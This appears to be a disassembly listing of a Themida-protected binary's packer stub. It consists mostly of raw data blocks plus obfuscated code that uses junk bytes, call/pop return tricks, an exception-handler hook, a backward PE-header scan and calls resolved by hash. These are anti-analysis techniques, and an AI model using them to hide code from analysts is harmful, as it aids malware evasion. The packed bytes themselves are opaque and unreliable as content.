		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 32C35343h, 11E9405Fh
		dd 0BD000000h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh, 0A42B3AD9h
		dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D899EC3h, 0AE323B5h, 1FD1858Bh, 0BE90AE3h
		dd 0E6000000h, 4118CEFh, 13ABC904h, 468928AEh, 64BF6604h
		dd 0BB669600h, 5250EAF4h, 0BE9h, 1C657500h, 0EFC5332h
		dd 0D20C6C21h, 6A965Fh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 7AA0BAC3h, 0D622B5FFh, 6A0AE6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D6A24AC3h, 2DF19D0Bh, 81660AE3h, 0E845C0CFh, 4, 1F03FFh
		dd 6E9h, 0DD5EF100h, 50B2B3B5h,	8BD98B66h, 8B042444h, 0F008BF9h
		dd 0D80h, 5E800h, 23500000h, 8B596D07h,	44895FF8h, 66520424h
		dd 5B5B03BBh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0A4AA95E9h, 0FE98C25h, 9C000000h
		dd 0DADCF3D8h, 0A49333D2h, 0B76E016Ch, 858D25EAh, 0AE6D62Ah
		dd 1A11BD2Bh, 0F900AE3h, 168Fh,	11E900h, 24970000h, 54DAF601h
		dd 0E52DAA34h, 0E915F935h, 506D30AFh, 0D4A92FBFh, 0DF8B9001h
		dd 1A4595FFh, 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 1D0FD7C3h, 0EFEC40F2h, 85895B72h
		dd 0AE30691h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 24AEF763h, 605BF552h, 0E9853160h
		dd 0F0AE31Ch, 8Bh, 0D5806100h, 85C761D4h, 0AE30069h, 3
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D5C35343h
		dd 8D755E19h, 0BDB589DBh, 810AE32Fh, 4015EAF7h,	2ABD8335h
		dd 0AE6D6h, 0D840Fh, 0DB30000h,	21E9h, 0F5B58900h, 500AE332h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 8B66C08Bh, 56006AFAh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 354D7FBAh, 96BC9451h, 38E0Fh, 0F7800000h
		dd 69BD839Ah, 30AE300h,	3DF850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 124FBEC3h
		dd 9333BB66h, 0D62ABD83h, 0F000AE6h, 3B084h, 8DBD0100h
		dd 0FF0AE333h, 0E6D62AB5h, 0CCBF660Ah, 1595FF5Ch, 6A0AE333h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 5275C356h, 5BFB8B66h, 7E9FE8Bh, 6F000000h
		dd 5673206Bh, 0B58B2ACAh, 0AE6D61Eh, 3E02C0BBh,	106C70Fh
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0BFC4C353h, 0E540C18Ch, 66964BEAh
		dd 500C96BBh, 96D98B66h, 44A4CF81h, 0B5FF6FA7h,	0AE6D62Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E0C35141h
		dd 589EAD3Bh, 0F25BD22h, 583h, 0EF816600h, 95FF323Dh, 0AE320BDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 5AC35747h
		dd 47B9EE6Dh, 0D61EB58Bh, 6A0AE6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 2F6977C3h, 0E93316C3h
		dd 0Dh,	919802A6h, 21EE450Ah, 0CE262ACCh, 59858B71h, 890AE310h
		dd 0E32D698Dh, 89F88A0Ah, 0C486h, 0A1BD8B00h, 8B0AE317h
		dd 0E3147995h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 65C4AD99h, 0D26EE275h
		dd 7E9577Fh, 0CF000000h, 5026E484h, 895BAA29h, 0E31069B5h
		dd 4C2830Ah, 6850Fh, 9D8B0000h,	0AE32C6Dh, 1205089h, 0E3131DBDh
		dd 0B3858D0Ah, 6A0AE6E8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 6776C351h, 7D74660h
		dd 0B759BF51h, 8689572Bh, 0B8h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F9C35040h,	9133D8DCh, 789D6293h
		dd 0F3E3BF66h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0AEEDC3C3h, 61828322h, 5660BF66h
		dd 5E5FDDBFh, 2AB5FF14h, 6A0AE6D6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 15BBC356h
		dd 8B660743h, 7195FFDEh, 6A0AE31Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F5AC350h
		dd 388h, 0DF8B6600h, 2A44BB66h,	66525096h, 0FF52FBFh
		dd 68D0F31h, 0F000000h,	83h, 50585A00h,	6696DE8Bh, 456ECB81h
		dd 0D62AB5FFh, 6A0AE6h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0D2D5CEC3h, 0B98D3374h, 0FFF84B64h
		dd 0E3236995h, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD8314B9h, 0AE317ADh
		dd 0C840F00h, 29000000h, 0E3114DBDh, 3489500Ah,	0FFFB8B24h
		dd 0E6D62AB5h, 0A1BD2B0Ah, 0FF0AE31Eh, 0E3029595h, 2880F0Ah
		dd 0B7000000h, 2AB5FF2Eh, 500AE6D6h, 0D726CF81h, 665F4CCDh
		dd 95FFF88Bh, 0AE311DDh, 5B52B60h, 660AE321h, 8361F78Bh
		dd 0E3197DBDh, 840F020Ah, 5Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 45C35141h, 0B98589B7h, 8B0AE320h
		dd 0E31A6585h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0A633F7CEh, 0DF8166EBh
		dd 0C6963Fh, 38E0F00h, 66000000h, 85C7FA8Bh, 0AE3211Dh
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5D9345
; ---------------------------------------------------------------------------
		db 3Fh,	0ABh, 79h
; ---------------------------------------------------------------------------
		retn	7C16h
; ---------------------------------------------------------------------------
		db 30h
		dd 0AE0522D0h
		db 0CAh
; ---------------------------------------------------------------------------


loc_5D9345:				; CODE XREF: Themida_:005D9334j
		jmp	loc_5D8674
; ---------------------------------------------------------------------------
		push	eax
		jb	$+6
		pop	edi
		mov	eax, ecx
		push	0
		push	eax
		call	sub_5D935F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D935F	proc near		; CODE XREF: Themida_:005D9357p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D935F	endp

; ---------------------------------------------------------------------------
		mov	esi, 8B3BD6B5h
		mov	ebx, [ebp+0AE32551h]
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		add	edx, 14h
		mov	[ebp+0AE32EC9h], edx
		sub	edx, 14h
		lea	eax, [ebp+0AE86F2Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5D93B3:				; CODE XREF: Themida_:005D93D5j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5D93D0
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5D93DA


loc_5D93D0:				; CODE XREF: Themida_:005D93B8j
		sub	eax, 1000h
		jmp	loc_5D93B3
; ---------------------------------------------------------------------------


loc_5D93DA:				; CODE XREF: Themida_:005D93CAj
		mov	ecx, eax
		mov	[ebp+0AE31E81h], eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+0AE31175h], edx
		mov	edx, [eax+50h]
		mov	[ebp+0AE31E95h], edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+0AE32FA5h], edx
		add	edx, [eax+8]
		mov	[ebp+0AE30931h], edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5D9433
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5D9433:				; CODE XREF: Themida_:005D941Bj
		cmp	dword ptr [ebp+0AE3218Dh], 0
		jz	loc_5D9464
		mov	byte ptr [ebp+0AE31CF1h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+0AE32F11h]
		lea	eax, [ebp+0AE6ACF3h]
		call	eax
		push	0
		call	eax
		mov	[ebp+0AE310F1h], eax


loc_5D9464:				; CODE XREF: Themida_:005D943Aj
		mov	edx, ebx
		call	near ptr loc_5D9475+4
		pop	ebx
		adc	ds:6C9E99E3h, ch
		arpl	[eax], bx
		xchg	eax, esi


loc_5D9475:				; CODE XREF: Themida_:005D9466p
		cmp	[edi-3E7426D1h], bl
		pop	esi
		jbe	loc_5D9484
		mov	al, 0F2h


loc_5D9484:				; CODE XREF: Themida_:005D947Cj
		add	esi, 7195h
		mov	ebx, edi
		mov	edx, 559E2410h
		add	edx, 0AA61F827h
		mov	di, 226Eh


loc_5D949B:				; CODE XREF: Themida_:005D950Dj
		push	dword ptr [esi]
		jz	loc_5D94AD
		jmp	loc_5D94AD
; ---------------------------------------------------------------------------
		dd 0D18789h
		db 0EDh
; ---------------------------------------------------------------------------


loc_5D94AD:				; CODE XREF: Themida_:005D949Dj
					; Themida_:005D94A3j
		pop	ecx
		mov	di, 7A58h
		add	ecx, 479FF854h
		sub	ecx, 557ED065h
		mov	eax, edx
		add	ecx, 6A78DC5h
		jmp	loc_5D94DC
; ---------------------------------------------------------------------------
		db 70h
		dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h
; ---------------------------------------------------------------------------


loc_5D94DC:				; CODE XREF: Themida_:005D94C6j
		mov	[esi], ecx
		jz	loc_5D94FD
		jmp	loc_5D94FD
; ---------------------------------------------------------------------------
		db 89h,	94h, 14h
		dd 0AE981927h, 8FAEF0A7h, 174D811Bh, 8BC6BF3Eh
		db 85h
; ---------------------------------------------------------------------------


loc_5D94FD:				; CODE XREF: Themida_:005D94DEj
					; Themida_:005D94E4j
		sub	esi, 1
		sbb	ax, 7A4Fh
		dec	esi
		dec	esi
		dec	esi
		mov	bx, 5193h
		dec	edx
		jnz	loc_5D949B
		call	near ptr loc_5D9521+3 ;	CODE XREF: Themida_:005D952Bj
		adc	ebx, [edx]
		stc
		insb
		add	al, 71h
		mov	[esi], eax
		xlat


loc_5D9521:				; CODE XREF: Themida_:005D9513p
		mov	dword ptr [ecx+ecx*4-80h], 8D5820E4h
		lea	ecx, [edx]
		jno	short near ptr loc_5D9513+2
		or	al, [ecx-3915DB19h]
		push	ss
		mov	[ebp+0AE31479h], ecx
		push	0
		push	ebx
		call	sub_5D9545
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9545	proc near		; CODE XREF: Themida_:005D953Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5D9545	endp

; ---------------------------------------------------------------------------
		db 38h,	0D0h, 7Ah
; ---------------------------------------------------------------------------
		inc	ebx
		mov	bh, ch
		stc
		mov	dword ptr [ebp+0AE306C9h], 5DD0h
		push	0
		push	eax
		call	sub_5D9571
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9571	proc near		; CODE XREF: Themida_:005D9569p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5D9571	endp

; ---------------------------------------------------------------------------
		db 0F6h, 0CDh, 77h
		dd 4A6B691Bh, 12E9019Fh, 0BB000000h, 4D118749h,	430729A7h
		dd 0AAA102B9h, 0D4E81108h, 6985C75Ch, 0AE300h, 89000000h
		dd 0E312BD8Dh, 1DB810Ah, 0FF58179Dh, 0E30529B5h, 0B19D8B0Ah
		dd 0FF0AE311h, 0E326B595h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 4AD4EE4Eh
		dd 4AB20722h, 0C5B52950h, 8B0AE321h, 0FF006AFAh, 0E31CD195h
		dd 0EBC08B0Ah, 599DDD4Dh, 6ACF886Fh, 46E6BF9Eh,	0D8532E8Dh
		dd 81CA6770h, 2A1D376Eh, 50657ADh, 80FF808Ah, 444681Ah
		dd 0F046B389h, 0DE5B5F7h, 0FB29B31Ah, 9D2C6832h, 19ADCCD2h
		dd 0B21E706h, 0DA4C7B69h, 5237EDE2h, 0A0C4A2A0h, 40D9B2E4h
		dd 8D8DF88Dh, 0AE871F0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 73C35343h, 0E48D7414h, 85895389h, 0AE30AA5h
		dd 8D89FEB2h, 0AE31479h, 71958B60h, 600AE31Fh, 0BE8h, 9040A600h
		dd 0CE248E0Bh, 0F34D25C7h, 1858B5Ah, 610AE31Ch,	0C985C761h
		dd 3C0AE306h, 8900005Ch, 0E322F595h, 6985C70Ah,	0AE300h
		dd 89000000h, 0E305919Dh, 45B5FF0Ah, 660AE304h,	0FF8A58BAh
		dd 0E326B595h, 7D85890Ah, 6A0AE314h, 0D195FF00h, 8B0AE31Ch
		dd 4F0FEBC0h, 701C03E3h, 0E6B3295Bh, 0C56DFBF2h, 7E8B339h
		dd 5E000000h, 269395D8h, 6659EA05h, 0C181FB8Bh,	67B4h
		dd 30DD8589h, 0BF680AE3h, 0F000019h, 384h, 0F88B6600h
		dd 1995295Eh, 8B0AE313h, 0C800F11h, 0F000000h, 681h, 299D8B00h
		dd 810AE31Fh, 0EF3079C2h, 6870F67h, 81000000h, 0D02A89DBh
		dd 0C9C28140h, 2948DACDh, 0E3201DBDh, 0F6F2810Ah, 0F09C702h
		dd 0E852D9B7h, 5, 0E94841D7h, 0FB8B6624h, 0B7018F5Fh, 3E983C7h
		dd 4F16B866h, 8B666049h, 0B86656C2h, 615F4E4Bh,	14850F4Eh
		dd 8B000000h, 21E9C2h, 6D2C0000h, 8E479FE0h, 0B2120128h
		dd 8A42FC67h, 0FF7DE9C2h, 38FFFFFFh, 0F969A9BEh, 7DDD051h
		dd 8DB4C2F7h, 0E8739F8Dh, 56006A0Ah, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 80F86568h
		dd 8D8969D4h, 0AE31479h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0F3C35040h, 6C985C7h,	6FB00AE3h, 0B58B0000h
		dd 0AE32E1Dh, 6985C7h, 0AE3h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8E179DC3h
		dd 89E9BE78h, 0E31B1DB5h, 0A1B5FF0Ah, 290AE321h, 0E32D01B5h
		dd 8E90Ah, 0FAC80000h, 0B7BD14FAh, 95FF5F73h, 0AE326B5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 74C35343h
		dd 0CA4EFE3Eh, 8BF40132h, 0CB8166A3h, 6A8215h, 1CD195FFh
		dd 0C08B0AE3h, 0D9971FEBh, 0DA674033h, 0FF4EAD6Bh, 0FAE7B94Eh
		dd 7CCD8D7Fh, 6CCF1AB1h, 0CADA6482h, 0FE480086h, 712ADE10h
		dd 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h
		dd 265AF198h, 3AC2EF5Eh, 4E603F7Bh, 0A5E4FFB4h,	922F867h
		dd 0A3BEAC7Bh, 2CD5FF6Bh, 0A3BA7967h, 2CD0F845h, 7BED71Bh
		dd 29333F7Bh, 2633831Dh, 0F5B6C098h, 76394EEBh,	55F6D615h
		dd 0D963A370h, 0C51F090Dh, 26648392h, 23593598h, 55E61F15h
		dd 0AB634770h, 0CE40631Dh, 0B3CC0392h, 2CD0BE49h, 0A23C1493h
		dd 26336AA1h, 55E6B015h, 0CE639070h, 26334DAAh,	0A3BEF6D8h
		dd 2CDB2043h, 0F3B624C8h, 76393CEBh, 852FF67h, 0E2B03F7Bh
		dd 0F3B61794h, 7639A5EBh, 55F62315h, 0D9635970h, 0C51F740Dh
		dd 26513D92h, 0AD666A98h, 74646474h, 2E4E11CEh,	24DA8DABh
		dd 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h
		dd 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah
		dd 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch
		dd 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h
		dd 2637A851h, 55F08815h, 0ABBE9070h, 2CDB3960h,	9320h
		dd 0E7FC7800h, 7310271h, 0C783C8D0h, 850F4904h,	0FFFFFFF2h
		dd 74F8B58Dh, 8D8D0AE8h, 0AE87517h, 0E983CF2Bh,	8DC88B05h
		dd 0E875CB8Dh, 57006A0Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0A26F932Ch, 89630709h
		dd 0E314798Dh, 0C28B660Ah, 6C985C7h, 72A40AE3h,	0BD2B0000h
		dd 0AE31381h, 6985C7h, 0AE3h, 820F0000h, 16h, 10800Fh
		dd 0BE90000h, 0F6000000h, 766BD5F1h, 199FD24Eh,	0B5FFF860h
		dd 0AE31859h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	82C35040h, 0B4ADC9AEh, 2FD19D89h, 858B0AE3h, 0AE31FF1h
		dd 26B595FFh, 840F0AE3h, 6, 8DFDD381h, 6A45FBh,	1CD195FFh
		dd 0C08B0AE3h, 66BD3FEBh, 0F9CA4FE6h, 0F132DA3Ch, 0DA8485D9h
		dd 3A784AEAh, 8FF04E44h, 0C617454Dh, 0D99B2993h, 0ED8C8BBFh
		dd 3E4A2831h, 6D2E3F74h, 0E152FE7Ah, 7559F343h,	8108BAAEh
		dd 4514823Ch, 0D9682588h, 0CB67A9BEh, 0C1C2ED9Bh, 4A0B9B81h
		dd 0B5DF3941h, 0AEA89F1Fh, 0A3AFAC74h, 6F689AC2h, 3F0199A2h
		dd 0C7BC4A48h, 4A0B0758h, 19516B35h, 49B9F9CAh,	0C3019C45h
		dd 0A92CDBC4h, 8F9CAA4Bh, 0B50B769Ch, 0C9599292h, 0A91869FCh
		dd 5D75724Bh, 49B96A11h, 0C3019C45h, 0A92CDBC4h, 0FE9CAA4Bh
		dd 0B50B769Bh, 0C3599292h, 0A9062DFCh, 1801184Bh, 4A013AA9h
		dd 895BBC41h, 6E55C71Bh, 6E45A645h, 4A018645h, 89538B41h
		dd 0F067AB12h, 8A8A5A41h, 4A0135A8h, 4FAC5C41h,	22A8616Eh
		dd 0F7B4784Ch, 2CF9186Fh, 4A6B11CDh, 4A020C16h,	15217241h
		dd 36886682h, 0E809865h, 4A144A65h, 1D462741h, 0C147F882h
		dd 0A90934DCh, 0B6ED5E4Bh, 4EA9043Ch, 4F40BD4Eh, 0F1679C41h
		dd 0F782D0BDh, 40E2268Ch, 77859C41h, 2001C941h,	49E9B341h
		dd 6A017241h, 0C35EFA1Eh, 0CB05B83Dh, 51056A05h, 0D012741h
		dd 0AFCA5016h, 71094D82h, 42E89B74h, 0A2017244h, 4A01394Bh
		dd 746E0339h, 987A2906h, 0CB67BCEBh, 110BEAB3h,	4A26C9FFh
		dd 1B018E43h, 4A0171A9h, 89581941h, 6E4D1518h, 6E45CF45h
		dd 4A013345h, 8950D241h, 0CF8C3049h, 40E74550h,	0A252722Bh
		dd 4A013942h, 11C2C761h, 4E2512C8h, 4E2563C0h, 4A01935Bh
		dd 0C29A02h, 1642D891h,	0CA0EC199h, 4A013942h, 0B5C91727h
		dd 1B012491h, 4A0124A9h, 8958B341h, 6E4D4018h, 6E456545h
		dd 4A016F45h, 89507841h, 0CD321ACEh, 7C5BAFEAh,	8A8465F6h
		dd 4B23174Eh, 4A6BC941h, 4A020C12h, 11217241h, 16886282h
		dd 0E809865h, 4A174A65h, 19422741h, 27F5E082h, 5AE45CCAh
		dd 7280EEA2h, 0B1801416h, 4A63BC4Eh, 4A6B9C41h,	4A02A611h
		dd 12212741h, 0E88CB82h, 0E80CD65h, 4A1CE065h, 1A417241h
		dd 0D491F482h, 5C037084h, 2CFAD6FDh, 9BEDF6C0h,	4D482ECAh
		dd 0CB67C3A2h, 4803E039h, 4E2CF64Eh, 4A6B3941h,	4A027410h
		dd 13214E41h, 6887E82h,	0E809765h, 4A18CD65h, 1B40E441h
		dd 0FCEE4282h, 2C9A9BC0h, 8DF75FC0h, 0D639CF27h, 0CF842821h
		dd 2A019341h, 4A092021h, 0ECF3E441h, 849684B5h,	13520991h
		dd 2BD71720h, 328135F4h, 0CF0ECF43h, 4A019325h,	67B84470h
		dd 0CB67EEA2h, 0E1017439h, 4A53BC4Eh, 4A6B9C41h, 4A02A612h
		dd 11212741h, 1688C882h, 0E80CD65h
		dd 4A19E065h, 19427241h, 0B3085582h, 0FF88D1F0h, 40E24DC8h
		dd 4A02B9A8h, 1F01F941h, 4A01CAA9h, 895CC441h, 6E6DFB1Ch
		dd 6E45B845h, 4A018545h, 89540B41h, 77588C9Eh, 0DF8A3999h
		dd 40E2D6D4h, 4B00E4FFh, 1C011807h, 4A013AA9h, 895FBC41h
		dd 6E75C71Fh, 6E45A645h, 4A018B45h, 89578F41h, 9440B14Fh
		dd 5B84FF22h, 200BDFE0h, 49E9C941h, 6A014E41h, 0C35CE41Ch
		dd 0CB05B72Dh, 5305ED05h, 0F01E441h, 5310B114h,	33570993h
		dd 52801162h, 9AFE44A2h, 0A251272Bh, 4A019342h,	12C29161h
		dd 4E25A0C8h, 4E2536C0h, 4A013957h, 0BAC2CC01h,	0F788F4B8h
		dd 40E2207Ch, 0CE0E53C4h, 4A01CB8Eh, 0A256E42Bh, 4A017242h
		dd 15C26661h, 4E25E0C8h, 4E250AC0h, 4A012756h, 3DC2C406h
		dd 7B5C6992h, 0A91D2DF4h, 1B94FB4Bh, 0CB0BDA72h, 483CFA79h
		dd 67844143h, 45012741h, 328042F6h, 153CAF47h, 0FA85EB3Bh
		dd 20017243h, 49E96B41h, 6A019C41h, 0C35B8D1Bh,	0CB050315h
		dd 5F05B705h, 801C941h,	21DF2713h, 0D639F327h, 26843621h
		dd 0BF019C41h, 0A20336C1h, 4A60A24Eh, 0F7889341h, 40E2FA68h
		dd 4C796527h, 0CF0EB241h, 4A01390Eh, 4A018FA8h,	0D5049341h
		dd 0D8171753h, 88960951h, 95A1CC55h, 4477CF3Dh,	6E8ABCAh
		dd 20013943h, 49E9CC41h, 6A014E41h, 0C359E419h,	0CB05B705h
		dd 5005ED05h, 0A01E441h, 0D785B111h, 27978E7Bh,	428D93F3h
		dd 2A014E41h, 4A01A54Eh, 0F4609341h, 3400C841h,	0A252E42Bh
		dd 4A017242h, 11C26261h, 4E25C0C8h, 4E250AC0h, 4A01275Ch
		dd 0BBC2C002h, 9A82F1EBh, 857C93DEh, 958A1448h,	5F30B4C8h
		dd 0CF8C96A2h, 40E7EF50h, 0A257272Bh, 4A019342h, 14C29761h
		dd 4E2590C8h, 4E2536C0h, 4A01395Ch, 0E1C2CA07h,	3C892E88h
		dd 278C387Ch, 848AF556h, 0C78A19BEh, 40E2C7E0h,	4948CFCAh
		dd 8A8433A2h, 4B7C184Eh, 4A6B4E41h, 4A02CF10h, 13219341h
		dd 6889082h, 0E80E065h,	4A157665h, 1B403941h, 0A1805B82h
		dd 62367109h, 45E91FC1h, 4A01EAC4h, 0BF944041h,	0CA0B076Dh
		dd 45727739h, 4A0150C4h, 1D01F641h, 4A014DA9h, 895E0741h
		dd 6E7D1A1Eh, 6E454845h, 4A01FE45h, 89563541h, 3FE2D070h
		dd 0C1B98631h, 428D41BAh, 1C012741h, 4A01134Eh,	0CA5AC941h
		dd 4552E339h, 4A005CC5h, 1C015341h, 4A019FA9h, 895F6E41h
		dd 6E75AE1Fh, 6E451245h, 4A01D045h, 8957A241h, 0A2ADD692h
		dd 0C40EBDA8h, 4A019C47h, 4878C368h, 0CB672DA2h, 45041C79h
		dd 4A0107C4h, 1D018E41h, 4A0171A9h, 895E1941h, 6E7D151Eh
		dd 6E45CF45h, 4A013045h, 8956D441h, 0F74B9832h,	0A3952DC1h
		dd 4A017253h, 145B009Bh, 85B163B1h, 0A6935463h,	552D0560h
		dd 328153A3h, 0CF0EA147h, 4A01E4CAh, 0EB94FB21h, 0C10BDA6Eh
		dd 0A91E49DCh, 0CB672F4Bh, 6FFE2C39h, 4A70164Eh, 4A6BC941h
		dd 4A020C11h, 12217241h, 0E886182h, 0E809865h, 4A154A65h
		dd 1A412741h, 40E90F82h, 0D01C941h, 0EEAD04E5h,	0F102A2F6h
		dd 4A0CD096h, 3B469C41h, 0CCE0D1ABh, 0EFF92E6Ch, 13B2D48Bh
		dd 4A019FA8h, 18018E41h, 4A0171A9h, 895B1941h, 6E55151Bh
		dd 6E45CF45h, 4A013D45h, 8953D141h, 58A5A0EBh, 45D60116h
		dd 4A0174C0h, 87B4B041h, 0F20B7F5Bh, 4A014E41h,	4A0133A8h
		dd 76F85941h, 93F0FB9Bh, 0A0DB60C4h, 0E3B0A0Bh,	78EC90Fh
		dd 4A0C7504h, 0ECBE4E41h, 0F21D0D8Bh, 4A019340h, 0DAD64227h
		dd 0B5085E27h, 42867D11h, 1C013941h, 7B0ECE11h,	0DA58161Bh
		dd 4A0137A9h, 49671341h, 0D18B0730h, 2E688E21h,	9818637Ah
		dd 4A04D071h, 1BE79C41h, 130773E6h, 3C0E9ACCh, 0C78C99A9h
		dd 40E9B5E3h, 2C54C7F9h, 0F847136h, 610BDA47h, 0C841F48Eh
		dd 0E42B3400h, 7242A252h, 62614A01h, 0C0C811C2h, 0AC04E25h
		dd 275C4E25h, 0F305E983h, 6A58A4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5C7659C3h, 0FE446A5Dh
		dd 0E5CB17BFh, 519D8B71h, 6A0AE300h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B9DC352h
		dd 39FE03E5h, 5E90706h,	79000000h, 0E4CC7BE9h, 0C00B37B5h
		dd 65840Fh, 800F0000h, 8, 2890Fh, 0D08A0000h, 4E6EB58Dh
		dd 6A0AE3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 415917C3h, 0B74F09FAh, 3B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 50A7CE44h, 0FF4458E0h, 3D9D8BE6h, 400AE316h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E5C35242h, 0B99D8B63h
		dd 890AE308h, 0E3064995h, 0E9C08B0Ah, 0Eh, 4D80C8B9h, 0B57EC520h
		dd 2E805396h, 0B70FF3A8h, 69BD83DAh, 0AE325h, 0BD830975h
		dd 0AE3198Dh, 50197400h, 0B8C08B53h, 403h, 2F198589h, 9D8D0AE3h
		dd 0AE5DE2Ch, 585BD3FFh, 198DBD83h, 74000AE3h, 0B8535017h
		dd 403h, 2F198589h, 9D8D0AE3h, 0AE5DACDh, 585BD3FFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FAC35545h, 0AC03B3B4h
		dd 0E781F439h, 2B687FE4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0F7C35242h, 310934C9h, 0C08BB38Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6AC35040h, 710C21AEh
		dd 85F53FA1h, 88B0FE8h,	0F000000h, 28Eh, 61616000h, 13E8h
		dd 4A556100h, 0FAB7FE59h, 685A7BAFh, 1B4A1F84h,	9AB79EF2h
		dd 4CC98060h, 5A61E9B0h, 0CE9h,	6C0EE100h, 0C9825BB3h
		dd 0CE18EBE9h, 40C28133h, 0F000067h, 688h, 258D8900h, 0BF0AE316h
		dd 1992h, 5810Fh, 81660000h, 8BA208DBh,	0C5B58932h, 810AE32Dh
		dd 8CE448F6h, 18870F2Dh, 0E9000000h, 13h, 91EBF02Ah, 0D0D8B31Bh
